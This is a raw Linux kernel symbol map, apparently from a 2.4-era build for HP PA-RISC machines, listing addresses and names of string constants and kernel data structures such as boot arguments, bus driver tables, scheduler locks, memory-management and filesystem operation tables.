1026a7a8 r .LC19
1026a7fc r .LC18
1026a800 r .LC20
1026a808 r .LC19
1026a828 r .LC0
1026a840 r .LC13
1026a87c r .LC21
1026a888 r .LC22
1026a8b0 r .LC23
1026a8e4 r .LC25
1026a910 r .LC24
1026a938 r .LC26
1026a950 r .LC27
1026a96c r .LC29
1026a980 r .LC28
1026a9b8 r .LC30
1026a9e4 r .LC31
1026aa08 r .LC32
1026aa34 r .LC33
1026aac0 r .LC34
1026aad0 r .LC35
1026aae0 r .LC36
1026aaf4 r .LC37
1026ab08 r .LC38
1026ab2c r .LC42
1026ab3c r .LC39
1026ab74 r .LC40
1026aba4 r .LC41
1026abe4 r .LC43
1026abf0 r .LC44
1026ac18 r .LC45
1026ac2c r .LC46
1026ac44 r .LC47
1026ac48 r .LC48
1026ac70 r .LC49
1026ac98 r .LC50
1026aca0 r .LC51
1026aca8 r .LC52
1026acbc r .LC53
1026acd4 r .LC54
1026ad0c r .LC55
1026ad4c r .LC56
1026ad6c r .LC57
1026ad90 r .LC58
1026adc0 r .LC61
1026adc4 r .LC60
1026add8 r .LC62
1026ade8 r .LC63
1026adec r .LC64
1026adf0 r .LC65
1026ae24 r .LC66
1026ae60 r .LC68
1026ae8c r .LC69
1026aec0 r .LC71
1026aeec r .LC72
1026af14 r .LC70
1026af3c r .LC67
1026af5c r .LC73
1026afa0 r .LC74
1026afbc r .LC75
1026b008 r .LC76
1026b018 r .LC78
1026b058 r .LC79
1026b074 r .LC82
1026b0ac r .LC83
1026b0f8 r .LC80
1026b11c r .LC81
1026b15c r .LC77
1026b184 r .LC85
1026b1ac r .LC86
1026b1e0 r .LC87
1026b21c r .LC84
1026b24c r .LC88
1026b26c r .LC89
1026b290 r .LC90
1026b2c0 r .LC91
1026b2d8 r .LC92
1026b300 r .LC93
1026b318 r .LC95
1026b330 r .LC97
1026b358 r .LC96
1026b36c r .LC94
1026b388 r .LC98
1026b394 r .LC99
1026b39c r .LC100
1026b3b8 r .LC101
1026b3c8 r .LC102
1026b3dc r .LC104
1026b3f0 r .LC105
1026b418 r .LC108
1026b42c r .LC107
1026b43c r .LC106
1026b468 r .LC103
1026b49c r .LC109
1026b4b4 r .LC110
1026b4dc r .LC111
1026b558 r .LC112
1026b590 r .LC113
1026b5bc r .LC117
1026b5e8 r .LC118
1026b608 r .LC119
1026b618 r .LC114
1026b640 r .LC116
1026b678 r .LC115
1026b69c r .LC120
1026b6c0 r .LC122
1026b6f0 r .LC121
1026b720 r .LC123
1026b744 r .LC124
1026b770 r .LC125
1026b7a0 r .LC126
1026b7c8 r .LC127
1026b7d0 r .LC133
1026b7fc r .LC134
1026b84c r .LC129
1026b868 r .LC130
1026b890 r .LC131
1026b8ac r .LC132
1026b8c4 r .LC128
1026b8e0 r .LC135
1026b8e8 r .LC136
1026b904 r .LC137
1026b908 r .LC139
1026b928 r .LC140
1026b93c r .LC141
1026b944 r .LC142
1026b948 r .LC143
1026b94c r .LC144
1026b950 r .LC145
1026b954 r .LC146
1026b958 r .LC148
1026b978 r .LC149
1026b98c r .LC150
1026b99c r .LC147
1026b9bc r .LC151
1026b9d0 r .LC152
1026b9d8 r .LC153
1026b9e4 r .LC155
1026b9f0 r .LC156
1026ba00 r .LC157
1026ba04 r .LC159
1026ba14 r .LC160
1026ba18 r .LC161
1026ba20 r .LC162
1026ba24 r .LC163
1026ba38 r .LC164
1026ba40 r .LC165
1026ba50 r .LC158
1026ba54 r .LC154
1026ba60 r .LC166
1026ba80 r .LC167
1026baa0 r .LC168
1026baf0 r .LC169
1026bb10 r .LC170
1026bb54 r .LC171
1026bbb8 r .LC172
1026bbf0 r .LC173
1026bc18 r .LC174
1026bc34 r .LC175
1026bc60 r .LC179
1026bc88 r .LC176
1026bcd8 r .LC177
1026bd14 r .LC178
1026bd4c r .LC180
1026bd6c r .LC181
1026bd7c r .LC182
1026bd9c r .LC183
1026bda4 r .LC184
1026bdb4 r .LC197
1026bdec r .LC198
1026be10 r .LC202
1026be40 r .LC200
1026be44 r .LC201
1026be48 r .LC4
1026be58 r .LC5
1026be70 r .LC6
1026be78 r .LC7
1026bf00 r .LC11
1026bf30 r .LC0
1026bf48 r .LC12
1026bf50 r .LC13
1026bf78 r .LC14
1026bfa8 r .LC15
1026bfdc r .LC16
1026bff0 r .LC18
1026bff8 r .LC20
1026c024 r .LC22
1026c038 r .LC23
1026c078 r .LC21
1026c0a0 r .LC17
1026c0c8 r .LC19
1026c0cc r .LC37
1026c0ec r .LC38
1026c0f8 r .LC40
1026c204 r .LC41
1026c234 r .LC39
1026c27c r .LC10
1026c2b8 r .LC8
1026c2cc r .LC9
1026c308 r .LC7
1026c33c r .LC11
1026c368 r .LC12
1026c374 r .LC4
1026c37c r .LC6
1026c3a0 r .LC7
1026c3c8 r .LC8
1026c3d0 r .LC5
1026c3d4 r .LC9
1026c3d8 r .LC10
1026c3dc r .LC4
1026c3e0 r .LC6
1026c404 r .LC7
1026c42c r .LC8
1026c430 r .LC5
1026c434 r .LC9
1026c438 r .LC4
1026c444 r .LC6
1026c454 r .LC8
1026c46c r .LC9
1026c494 r .LC10
1026c498 r .LC12
1026c4a4 r .LC14
1026c4c8 r .LC7
1026c4cc r .LC11
1026c4d0 r .LC13
1026c4d4 r .LC5
1026c4f8 r .LC8
1026c520 r .LC4
1026c54c r .LC6
1026c550 r .LC7
1026c5a4 r .LC6
1026c5b0 r .LC7
1026c5c4 r .LC5
1026c5e8 r .LC4
1026c65c r .LC4
1026c684 r .LC5
1026c6cc r .LC5
1026c6f4 r .LC6
1026c71c r .LC7
1026c74c r .LC0
1026c77c r .LC1
1026c7a4 r .LC2
1026c7c4 r .LC18
1026c7cc r .LC0
1026c7e4 r .LC4
1026c81c r .LC19
1026c844 r .LC20
1026c870 r .LC21
1026c88c r .LC23
1026c8a8 r .LC22
1026c8d4 r .LC24
1026c8f4 r .LC25
1026c914 r .LC26
1026c950 r .LC27
1026c964 r .LC14
1026c998 r .LC15
1026c9a0 r .LC16
1026c9cc r .LC17
1026c9d0 r .LC19
1026c9d4 r .LC21
1026c9d8 r .LC22
1026c9dc r .LC23
1026c9e0 r .LC24
1026c9e4 r .LC25
1026c9e8 r .LC26
1026c9ec r .LC27
1026c9f0 r .LC13
1026ca10 r .LC0
1026ca28 r .LC15
1026ca34 r .LC14
1026ca3c r .LC16
1026ca60 r .LC17
1026ca98 r .LC18
1026cad8 r .LC19
1026cb00 r .LC20
1026cb14 r .LC22
1026cb30 r .LC21
1026cb34 r .LC0
1026cb4c r .LC4
1026cc74 r .LC15
1026cc98 r .LC16
1026ccd0 r .LC17
1026cd00 r .LC18
1026cd08 r .LC19
1026cd2c r .LC20
1026cd58 r .LC21
1026cd90 r .LC22
1026cde8 r .LC23
1026ce40 r .LC24
1026ce60 r .LC25
1026cf2c r .LC26
1026cf5c r .LC27
1026cf94 r .LC28
1026cfb8 r .LC29
1026cfc0 r .LC30
1026cfc8 r .LC31
1026cfcc r .LC32
1026cfd0 r .LC37
1026d004 r .LC39
1026d010 r .LC38
1026d014 r .LC43
1026d068 r .LC44
1026d0c0 r .LC45
1026d114 r .LC46
1026d134 r .LC47
1026d184 r .LC50
1026d1d4 r .LC51
1026d220 r .LC49
1026d22c r .LC48
1026d268 r .LC53
1026d26c r .LC55
1026d280 r .LC52
1026d284 r .LC54
1026d288 r .LC56
1026d28c r .LC57
1026d290 r .LC58
1026d294 r .LC70
1026d2a4 r .LC71
1026d2b0 r .LC72
1026d2b4 r .LC74
1026d2d8 r .LC73
1026d2e0 r .LC9
1026d314 r .LC10
1026d32c r .LC12
1026d330 r .LC11
1026d338 r .LC13
1026d348 r .LC14
1026d34c r .LC4
1026d350 r .LC5
1026d354 r .LC10
1026d358 r .LC11
1026d35c r .LC20
1026d360 r .LC21
1026d364 r .LC8
1026d368 r .LC11
1026d36c r .LC12
1026d370 r .LC17
1026d384 r .LC16
1026d3b0 r .LC18
1026d3b4 r .LC24
1026d3d4 r .LC25
1026d3fc r .LC26
1026d41c r .LC27
1026d420 r .LC28
1026d424 r .LC33
1026d538 r .LC4
1026d55c r .LC10
1026d58c r .LC5
1026d594 r .LC4
1026d598 r .LC9
1026d5c4 r .LC10
1026d5c8 r .LC11
1026d5f0 r prio2band
1026d600 r .LC12
1026d61c r .LC13
1026d674 r .LC14
1026d6d8 r .LC13
1026d6e4 r .LC13
1026d6ec r .LC14
1026d754 r .LC15
1026d790 r .LC16
1026d794 r .LC17
1026d798 r .LC23
1026d7ac r .LC24
1026d7c8 r .LC25
1026d7e0 r .LC26
1026d810 r .LC27
1026d814 r .LC28
1026d818 r .LC29
1026d81c r .LC38
1026d850 r .LC39
1026d854 r .LC40
1026d858 r .LC41
1026d85c r .LC42
1026d860 r .LC43
1026d864 r .LC51
1026d868 r .LC52
1026d86c r .LC53
1026d950 r .LC79
1026d960 r .LC82
1026d998 r .LC85
1026d9a4 r .LC80
1026d9cc r .LC81
1026d9fc r .LC83
1026da00 r .LC84
1026da04 r .LC86
1026da08 r .LC4
1026da18 r .LC0
1026da30 r .LC5
1026da3c r .LC13
1026da6c r .LC14
1026da7c r .LC15
1026da8c r .LC16
1026daa8 r .LC17
1026db94 r .LC18
1026db9c r .LC19
1026dcec r .LC20
1026dd80 r .LC21
1026ddb8 r .LC22
1026ddbc r .LC23
1026e194 r .LC10
1026e1c8 r .LC11
1026e224 r .LC10
1026e27c r .LC13
1026e2a4 r .LC12
1026e2a8 r .LC15
1026e2f4 r .LC16
1026e350 r .LC17
1026e384 r .LC18
1026e3b0 r .LC14
1026e3b4 r .LC9
1026e3e0 r .LC13
1026e430 r .LC14
1026e438 r .LC16
1026e458 r .LC17
1026e45c r .LC22
1026e488 r .LC23
1026e48c r .LC28
1026e490 r .LC13
1026e494 r .LC15
1026e498 r .LC14
1026e4e4 r .LC15
1026e534 r .LC16
1026e584 r .LC10
1026e5b8 r .LC17
1026e5dc r .LC18
1026e650 r .LC22
1026e6a0 r .LC24
1026e6ec r .LC25
1026e744 r .LC26
1026e760 r .LC19
1026e7c0 r .LC20
1026e814 r .LC21
1026e868 r .LC23
1026e8ac r .LC27
1026e8f4 r .LC28
1026e91c r .LC29
1026e96c r .LC30
1026e9c0 r .LC31
1026e9d4 r .LC33
1026e9e4 r .LC35
1026e9f4 r .LC39
1026ea2c r .LC32
1026ea58 r .LC34
1026ea88 r .LC36
1026eab4 r .LC37
1026eae4 r .LC38
1026eb0c r .LC13
1026eb6c r .LC14
1026ebcc r .LC16
1026ec38 r .LC15
1026ec9c r .LC10
1026ecd0 r .LC17
1026ed28 r .LC18
1026ed84 r .LC19
1026ede0 r .LC20
1026ee3c r .LC21
1026ee98 r .LC22
1026eef8 r .LC23
1026ef0c r .LC24
1026ef20 r .LC25
1026ef34 r .LC26
1026ef88 r .LC27
1026efa0 r .LC28
1026efe4 r .LC29
1026f008 r .LC30
1026f06c r .LC32
1026f098 r .LC31
1026f0c0 r .LC34
1026f0ec r .LC35
1026f118 r .LC36
1026f14c r .LC33
1026f150 r .LC43
1026f154 r .LC44
1026f16c r .LC45
1026f198 r .LC46
1026f19c r .LC47
1026f1a0 r .LC13
1026f1a4 r .LC10
1026f1d8 r .LC23
1026f1f0 r .LC24
1026f218 R timer_bug_msg
1026f238 r .LC13
1026f23c r .LC14
1026f240 r .LC15
1026f244 r .LC18
1026f260 r .LC19
1026f2c8 r .LC10
1026f2fc r .LC13
1026f35c r .LC14
1026f3a8 r .LC15
1026f400 r .LC16
1026f450 r .LC17
1026f49c r .LC19
1026f4cc r .LC20
1026f4e8 r .LC21
1026f538 r .LC22
1026f53c r .LC27
1026f584 r .LC28
1026f5e0 r .LC29
1026f628 r .LC30
1026f630 r .LC31
1026f694 r .LC32
1026f6c0 r .LC13
1026f718 r .LC14
1026f744 r .LC15
1026f748 r .LC10
1026f74c r .LC14
1026f784 r .LC15
1026f788 r .LC16
1026f78c r .LC21
1026f7d8 r .LC22
1026f7e0 r .LC23
1026f844 r .LC0
1026f85c r .LC10
1026f864 r .LC11
1026f868 r .LC12
1026f86c r .LC17
1026f870 r .LC21
1026f890 r .LC22
1026f8d8 r .LC23
1026f924 r .LC24
1026f92c r .LC25
1026f99c r .LC14
1026f9c8 r .LC15
1026f9f0 r .LC16
1026fa18 r .LC17
1026fa2c r .LC18
1026fa7c r .LC19
1026fa88 r .LC20
1026fab0 r .LC21
1026fac4 r .LC22
1026fac8 r .LC23
1026facc r .LC25
1026fad4 r .LC24
1026fad8 r .LC13
1026fadc r .LC14
1026fae0 r .LC18
1026fb1c r .LC16
1026fb54 r .LC17
1026fb80 r .LC19
1026fbb8 r .LC20
1026fbe4 r .LC9
1026fc3c r .LC10
1026fc94 r .LC11
1026fcb0 r .LC13
1026fcb8 r .LC12
1026fcf0 r .LC14
1026fd2c r .LC15
1026fd64 r .LC16
1026fda0 r .LC18
1026fdf0 r .LC17
1026fe28 r .LC19
1026fe64 r .LC21
1026fe7c r .LC20
1026ff74 r .LC37
1026ff7c r .LC38
1026ff80 r .LC14
1026ffac r .LC15
10270010 r .LC16
10270074 r .LC17
102700cc r .LC18
10270124 r .LC13
10270154 r .LC19
10270158 r .LC22
102701d0 r .LC24
102701f8 r .LC26
1027020c r .LC27
10270214 r .LC28
10270218 r .LC29
1027021c r .LC30
10270220 r .LC32
10270228 r .LC34
10270230 r .LC36
1027023c r .LC38
10270240 r .LC40
10270244 r .LC31
10270248 r .LC33
1027024c r .LC35
10270250 r .LC37
10270254 r .LC39
10270258 r .LC41
1027025c r .LC10
10270294 r .LC11
102702cc r .LC12
10270300 r .LC13
10270330 r .LC14
10270700 r .LC14
1027074c r .LC13
10270754 r .LC15
1027077c r .LC16
102707a4 r .LC17
102707ac r .LC18
102707b0 r .LC13
102707cc r .LC14
102707e0 r .LC15
1027080c r .LC16
10270810 r .LC17
10270838 r .LC13
10270844 r .LC14
10270848 r .LC15
1027084c r .LC16
10270850 r .LC17
10270854 r .LC18
10270858 r .LC19
1027085c r .LC13
10270884 r .LC14
102708b4 r .LC12
102708d8 r .LC11
10270908 r .LC10
10270910 r .LC15
10270948 r .LC16
10270980 r .LC17
102709c0 r .LC18
102709fc r .LC19
10270a2c r .LC20
10270a6c r .LC21
10270a98 r .LC23
10270a9c r .LC22
10270ac4 r .LC24
10270aec r .LC25
10270af0 r .LC27
10270b18 r .LC29
10270b20 r .LC31
10270b28 r .LC30
10270b2c r .LC32
10270b34 r .LC28
10270b54 r .LC33
10270b58 r .LC34
10270b60 r .LC36
10270b8c r .LC37
10270ba8 r .LC35
10270bb8 r .LC26
10270bf8 r .LC38
10270c30 r .LC39
10270c34 r .LC40
10270c3c r .LC41
10270c44 r .LC13
10270ca8 r .LC14
10270d0c r .LC15
10270d70 r .LC16
10270dc4 r .LC17
10270df0 r .LC1
10270e28 r .LC0
10270e40 r .LC18
10270e44 r .LC19
10270e48 r .LC26
10270e50 r .LC2
10270e88 r .LC27
10270e8c r .LC28
10270e90 r .LC30
10270ecc r .LC31
10270ef0 r .LC32
10270f28 r .LC34
10270f34 r .LC35
10270f54 r .LC5
10270f80 r .LC6
10270f8c r .LC8
10270fc0 r .LC7
10270fec r .LC9
10271014 r .LC10
10271044 r .LC11
10271068 r .LC12
10271090 r .LC13
102710d0 r .LC14
102710d4 r .LC16
102710d8 r .LC17
102710dc r .LC18
10271108 r .LC19
10271120 r .LC20
10271124 r .LC21
10271128 r .LC27
10271154 r .LC28
10271184 r .LC33
102711ac r .LC31
102711c4 r .LC29
102711c8 r .LC30
102711cc r .LC32
102711d0 r .LC40
102711f4 r .LC42
10271224 r .LC41
10271228 r .LC43
1027122c r .LC49
10271250 r .LC52
10271274 r .LC51
1027129c r .LC50
102712a0 r .LC58
102712a4 r .LC59
102712a8 r .LC62
102712cc r .LC63
102712d0 r .LC67
102712f4 r .LC68
102712f8 r .LC72
1027131c r .LC78
1027133c r .LC73
10271340 r .LC74
10271344 r .LC75
10271348 r .LC76
1027134c r .LC77
10271350 r .LC87
10271378 r .LC88
102713a0 r .LC89
102713cc r .LC90
102713fc r .LC91
10271428 r .LC92
1027142c r .LC93
10271430 r .LC94
10271434 r .LC95
10271438 r .LC100
1027145c r .LC101
10271474 r .LC102
102714a0 r .LC103
102714c0 r .LC105
102714e0 r .LC104
102714e4 r .LC111
102714fc r .LC112
10271500 r .LC116
1027152c r .LC117
10271530 r .LC121
10271558 r .LC132
10271584 r .LC133
102715a4 r .LC134
102715c0 r .LC122
102715e8 r .LC129
10271610 r .LC128
10271638 r .LC127
10271674 r .LC123
102716a0 r .LC125
102716cc r .LC131
102716f8 r .LC130
1027171c r .LC124
10271720 r .LC126
10271724 r .LC15
10271754 r .LC16
10271794 r .LC17
102717cc r .LC18
102717f8 r .LC19
10271820 r .LC20
1027184c r .LC21
1027186c r .LC22
10271888 r .LC23
102718b4 r .LC24
102718b8 r .LC26
102718dc r .LC30
102718fc r .LC32
10271920 r .LC33
10271944 r .LC28
1027196c r .LC34
10271988 r .LC29
102719a8 r .LC27
102719c8 r .LC31
102719f8 r .LC41
10271a14 r .LC35
10271a3c r .LC36
10271a6c r .LC37
10271a90 r .LC40
10271ab4 r .LC42
10271af4 r .LC39
10271b18 r .LC38
10271b3c r .LC44
10271b64 r .LC45
10271b8c r .LC46
10271bac r .LC48
10271bd0 r .LC49
10271c00 r .LC43
10271c18 r .LC47
10271c34 r .LC50
10271c60 r .LC52
10271c68 r .LC51
10271c8c r .LC53
10271c98 r .LC54
10271cc4 r .LC55
10271ce0 r .LC13
10271d04 r .LC57
10271d1c r .LC56
10271d48 r .LC14
10271d6c r .LC58
10271d70 r .LC62
10271d88 r .LC63
10271db8 r .LC65
10271ddc r .LC64
10271e08 r .LC66
10271e2c r .LC67
10271e4c r .LC68
10271e7c r .LC70
10271e80 r .LC71
10271e84 r .LC69
10271eac r .LC72
10271ebc r .LC73
10271ecc r .LC74
10271edc r .LC75
10271ee8 r .LC76
10271f08 r .LC78
10271f0c r .LC79
10271f10 r .LC80
10271f14 r .LC81
10271f18 r .LC82
10271f1c r .LC89
10271f20 r .LC90
10271f24 r .LC88
10271f4c r .LC77
10271f74 r .LC91
10271f94 r .LC92
10271fb8 r .LC93
10271ff4 r .LC9
1027200c r .LC10
10272030 r .LC12
10272034 r .LC19
10272054 r .LC4
1027205c r .LC20
10272080 r .LC21
102720a8 r .LC24
102720c4 r .LC25
102720ec r .LC23
10272120 r .LC27
1027214c r .LC0
10272164 r .LC28
1027216c r .LC26
102721a0 r .LC29
102721a4 r .LC34
102721d4 r .LC35
10272204 r .LC8
10272220 r .LC22
10272258 r .LC37
1027227c r .LC36
102722a8 r .LC38
102722cc r .LC39
102722f0 r .LC40
102722f4 r .LC41
10272314 r .LC18
10272330 r .LC43
10272354 r .LC44
1027237c r .LC45
1027239c r .LC46
102723b4 r .LC47
102723dc r .LC48
102723f4 r .LC42
10272424 r .LC49
10272444 r .LC50
10272468 r .LC51
10272488 r .LC52
102724b0 r .LC53
102724d0 r .LC55
102724f8 r .LC54
10272518 r .LC58
10272530 r .LC57
10272550 r .LC61
1027256c r .LC62
10272598 r .LC59
1027259c r .LC60
102725a0 r .LC72
102725b8 r .LC73
102725ec r .LC74
102725f0 r .LC75
1027261c r .LC76
10272624 r .LC77
10272644 r .LC80
10272664 r .LC81
1027268c r .LC82
102726a4 r .LC78
102726c0 r .LC79
102726d8 r .LC83
10272704 r .LC84
10272724 r .LC85
10272748 r .LC87
10272778 r .LC86
1027277c r .LC98
10272798 r .LC101
102727c4 r .LC102
102727e0 r .LC100
10272800 r .LC99
10272824 r .LC103
1027287c r .LC105
102728b0 r .LC104
102728bc r .LC56
102728c0 r .LC6
102728c4 r .LC7
102728f0 r .LC0
10272908 r .LC5
10272910 r .LC8
10272930 r .LC9
10272950 r .LC10
10272970 r .LC11
10272990 r .LC12
102729b0 r .LC13
102729d0 r .LC14
102729f0 r .LC15
10272a10 r .LC16
10272a34 r .LC5
10272a64 r .LC6
10272a8c r .LC7
10272aa8 r .LC8
10272acc r .LC5
10272afc r .LC6
10272b24 r .LC7
10272b58 r .LC8
10272b90 r .LC9
10272bac r .LC10
10272bd0 r .LC5
10272bec r .LC6
10272c14 r .LC8
10272c18 r .LC9
10272c1c r .LC7
10272c3c r .LC13
10272c64 r .LC12
10272c80 r .LC14
10272cac r .LC15
10272cd0 r .LC19
10272cec r .LC16
10272d10 r .LC17
10272d2c r .LC11
10272d48 r .LC10
10272d68 r .LC18
10272d88 r .LC11
10272dc4 r .LC12
10272de8 r .LC13
10272e0c r .LC14
10272e3c r .LC15
10272e5c r .LC21
10272e78 r .LC22
10272eac r .LC23
10272ed4 r .LC24
10272f00 r .LC17
10272f1c r .LC18
10272f48 r .LC25
10272f6c r .LC26
10272f70 r .LC27
10272f74 r .LC28
10272f78 r .LC31
10272fa8 r .LC32
10272fc8 r .LC33
10273004 r .LC34
10273030 r .LC35
1027304c r .LC37
1027306c r .LC40
102730a4 r .LC41
102730c8 r .LC39
102730ec r .LC38
1027310c r .LC36
10273128 r .LC42
10273154 r .LC19
10273180 r .LC44
1027319c r .LC45
102731c4 r .LC46
102731ec r .LC48
10273210 r .LC47
10273230 r .LC43
10273250 r .LC49
10273298 r .LC54
102732bc r .LC52
102732e4 r .LC50
102732e8 r .LC51
102732ec r .LC53
102732f0 r .LC55
102732f4 r .LC56
102732f8 r .LC65
10273324 r .LC66
10273350 r .LC67
10273380 r .LC16
102733a4 r .LC69
102733cc r .LC70
102733e0 r .LC10
10273404 r .LC20
10273420 r .LC68
10273440 r .LC71
10273460 r .LC72
10273484 r .LC73
10273490 r .LC74
102734ac r .LC76
102734d8 r .LC75
10273508 r .LC77
10273538 r .LC78
10273564 r .LC79
10273588 r .LC80
102735a4 r .LC81
102735cc r .LC82
102735f0 r .LC4
1027360c r .LC5
10273620 r .LC6
10273634 r .LC5
1027365c r .LC6
10273660 r .LC10
1027369c r .LC11
102736cc r .LC12
10273700 r .LC13
1027370c r .LC16
1027372c r .LC14
10273750 r .LC17
102737b4 r .LC0
102737e0 r .LC5
102737f4 r .LC6
10273804 r .LC7
10273810 r .LC8
10273814 r .LC9
10273828 r .LC10
1027384c r .LC14
10273850 r .LC19
10273854 r .LC25
10273874 r .LC26
1027387c r .LC27
102738a0 r .LC6
10273904 r .LC0
1027392c r .LC1
10273954 r .LC2
1027395c A _etext
10274000 D boot_args
10274000 D data_start
10274010 D $global$
10274014 D root_mountflags
10274018 d argv_init
10274040 d envp_init
10274068 D loops_per_jiffy
1027406c d argv___0
10274074 D child_reaper
10274078 D system_utsname
10274200 D linux_banner
10274204 d pdc_cons
10274230 D hlt_counter
10274234 d sysrom_resource
10274250 d sysram_resource
1027426c d data_resource
10274288 d code_resource
102742a4 d pdcdata_resource
102742c0 d mem_limit
102742c4 d space_id
102752c4 d free_space_ids
102752c8 d dirty_space_ids
102752cc d sid_lock
10276000 d cpu_drivers_for
10276048 d fallback_cpu_hpa
10276054 D kstack_depth_to_print
10276058 D cpu_lpmc
1027605c d irq_lock
10276060 d cpu_irq_actions
10276360 D cpu_irq_region
10276384 D irq_region
102763c4 d pdc_lock
102763c8 d hw_type_name
10276408 d hp_hardware_list
1027b388 d hp_cpu_type_mask_list
1027b5a0 D cpu_name_version
1027b5f0 D pdc_type
1027b5f4 d pa_drivers
1027b5f8 d proc_gsc_root
1027b5fc d pcxl_used_bytes
1027b600 d pcxl_used_pages
1027b604 D pcxl_dma_ops
1027b628 D pcx_dma_ops
1027c000 d hpmc_stack
10280000 d hpmc_iodc_buf
10288000 d hpmc_raddr
10288080 D hpmc_pim_data
10289000 D pci_post_reset_delay
10289004 D hba_list
10289008 D hba_count
1028900c D pcibios_fixups
10289018 d def_kbd_ops
10289038 D kbd_ops
1028903c d lba_drivers_for
10289084 d lba_cfg_ops
1028909c D lba_bios_ops
102890a4 d lba_astro_port_ops
102890bc d iosapic_irq_ops
102890cc d sba_drivers_for
10289138 d sba_mem_ratio
1028913c d sba_ops
10289160 d astro_rev___0
1028916c d ike_rev___1
10289178 d ccio_drivers_for
102891e4 d ccio_mem_ratio
102891e8 d hint_lookup
102891f8 d ccio_ops
1028921c d sio_dev
10289234 d superio_irq_ops
10289244 d expected_device
10289280 D securebits
10289284 D init_tasks
102892c0 D runqueue_lock
10289300 D tasklist_lock
10289304 d runqueue_head
10289340 d aligned_data
10289380 d stat_nam___0
102893c0 D dma_spin_lock
10289400 D lastpid_lock
10289404 d next_safe___0
10289440 D mmlist_lock
10289480 d ident_map
10289500 D default_exec_domain
1028951c d exec_domains
10289520 d exec_domains_lock
10289524 D log_wait
10289530 D console_loglevel
10289534 D default_message_loglevel
10289538 D minimum_console_loglevel
1028953c D default_console_loglevel
10289540 D console_lock
10289544 d preferred_console
10289548 d msg_level___0
1028954c d ime_list
10289554 d ime_lock
10289558 D do_get_fast_time
1028955c d firsttime___0
10289560 D pps_jitter
10289564 D pps_stabil
10289568 D pps_valid
1028956c D pps_shift
10289570 d softirq_mask_lock
10289574 D global_bh_lock
10289578 D ioport_resource
10289594 D iomem_resource
102895b0 d resource_lock
102895b4 d reserved___0
102895b8 d maxolduid
102895bc d root_table_header
102895c8 D proc_sys_file_operations
10289608 d proc_sys_inode_operations
10289648 d root_table
102897a8 d kern_table
10289c4c d vm_table
10289dd8 d proc_table
10289e04 d fs_table
1028a098 d debug_table
1028a0c4 d dev_table
1028a0f0 D cap_bset
1028a0f4 D task_capability_lock
1028a0f8 D tick
1028a0fc D tickadj
1028a100 D tq_timer
1028a108 D tq_immediate
1028a110 D time_state
1028a114 D time_status
1028a118 D time_constant
1028a11c D time_tolerance
1028a120 D time_precision
1028a124 D time_maxerror
1028a128 D time_esterror
1028a12c D time_freq
1028a130 D timerlist_lock
1028a134 D tqueue_lock
1028a138 d count___0
1028a13c D xtime_lock
1028a140 d uidhash_lock
1028a144 D root_user
1028a15c D max_queued_signals
1028a160 D overflowuid
1028a164 D overflowgid
1028a168 D fs_overflowuid
1028a16c D fs_overflowgid
1028a170 D C_A_D
1028a174 D notifier_lock
1028a178 D uts_sem
1028a18c D hotplug_path
1028a28c d dev_probe_sem
1028a2a0 d tq_context
1028a2a8 d context_task_wq
1028a2b4 d context_task_done
1028a2c0 D pgt_cache_water
1028a2c8 D protection_map
1028a308 D page_cache_size
1028a30c D pagecache_lock
1028a310 D pagemap_lru_lock
1028a314 d file_shared_mmap
1028a320 d file_private_mmap
1028a32c D vmlist_lock
1028a330 d slab_break_gfp_order
1028a334 d cache_sizes
1028a3dc d cache_cache
1028a440 d clock_searchp
1028a444 D freepages
1028a450 D nr_async_pages
1028a454 D buffer_mem
1028a460 D page_cache
1028a46c D pager_daemon
1028a478 D kswapd_wait
1028a484 D kswapd_done
1028a490 d recalc___0
1028a494 D kreclaimd_wait
1028a4a0 d zone_names
1028a4ac d zone_balance_ratio
1028a4b8 d zone_balance_min
1028a4c4 d zone_balance_max
1028a4d0 d swap_aops
1028a4e8 D swapper_space
1028a518 D swaplock
1028a51c D swap_list
1028a524 d least_priority___0
1028a528 d overflow___1
1028a52c D numnodes
1028a530 D contig_page_data
1028bb78 D shmem_inodes
1028bb80 d shmem_ilock
1028bb84 d shmem_aops
1028bb9c d shmem_file_operations
1028bbdc d shmem_inode_operations
1028bc1c d shmem_dir_operations
1028bc5c d shmem_dir_inode_operations
1028bc9c d shmem_ops
1028bcc4 d shmem_private_vm_ops
1028bcd0 d shmem_shared_vm_ops
1028bcdc d shmem_fs_type
1028bcf8 D generic_ro_fops
1028bd38 d chrdevs_lock
1028bd3c d def_chr_fops
1028bd7c d bad_sock_fops
1028bdbc D files_stat
1028bdc8 d anon_list
1028bdd0 d free_list
1028bdd8 D files_lock
1028bddc d old_max___0
1028bde0 d buffersize_index
1028be24 d hash_table_lock
1028be28 d lru_list_lock
1028be2c d unused_list_lock
1028be30 d buffer_wait
1028be3c D buffermem_pages
1028be40 D bdf_prm
1028be64 D bdflush_min
1028be88 D bdflush_max
1028beac d page_uptodate_lock___0
1028beb0 D bdflush_tsk
1028beb4 d mount_sem
1028bec8 D max_super_blocks
1028becc D super_blocks
1028bed4 d file_systems_lock
1028bed8 d vfsmntlist
1028bee0 d need_escaping
1028bee4 d fs_info
1028bf24 d nfs_info
1028bf90 d bdev_lock
1028bf94 D def_blk_fops
1028bfd4 d binfmt_lock
1028bfd8 D read_fifo_fops
1028c018 D write_fifo_fops
1028c058 D rdwr_fifo_fops
1028c098 D read_pipe_fops
1028c0d8 D write_pipe_fops
1028c118 D rdwr_pipe_fops
1028c158 d pipefs_dentry_operations
1028c170 d pipefs_ops
1028c198 d .LC8
1028c1a4 d pipe_fs_type
1028c1bc d arbitration_lock
1028c1c0 D page_symlink_inode_operations
1028c200 d band_table
1028c218 d fasync_lock
1028c21c D def_fifo_fops
1028c25c D leases_enable
1028c260 D lease_break_time
1028c264 D file_lock_list
1028c26c d blocked_list
1028c274 D dcache_lock
1028c278 d dentry_unused
1028c280 D dentry_stat
1028c298 d .LC6
1028c2a4 d inode_in_use
1028c2ac d inode_unused
1028c2b4 d anon_hash_chain
1028c2bc D inode_lock
1028c2c0 d counter___4
1028c2c4 d bad_file_ops
1028c304 D bad_inode_ops
1028c344 D dir_notify_enable
1028c348 d dn_lock
1028c34c d som_format
1028c364 D script_format
1028c37c d elf_format
1028c394 d proc_sops
1028c3bc d proc_root_operations
1028c3fc d proc_root_inode_operations
1028c43c D proc_root
1028c488 d proc_maps_operations
1028c4c8 d proc_info_file_operations
1028c508 d proc_mem_operations
1028c548 d proc_mem_inode_operations
1028c588 d proc_pid_link_inode_operations
1028c5c8 d base_stuff
1028c688 d pid_fd_dentry_operations
1028c6a0 d pid_dentry_operations
1028c6b8 d pid_base_dentry_operations
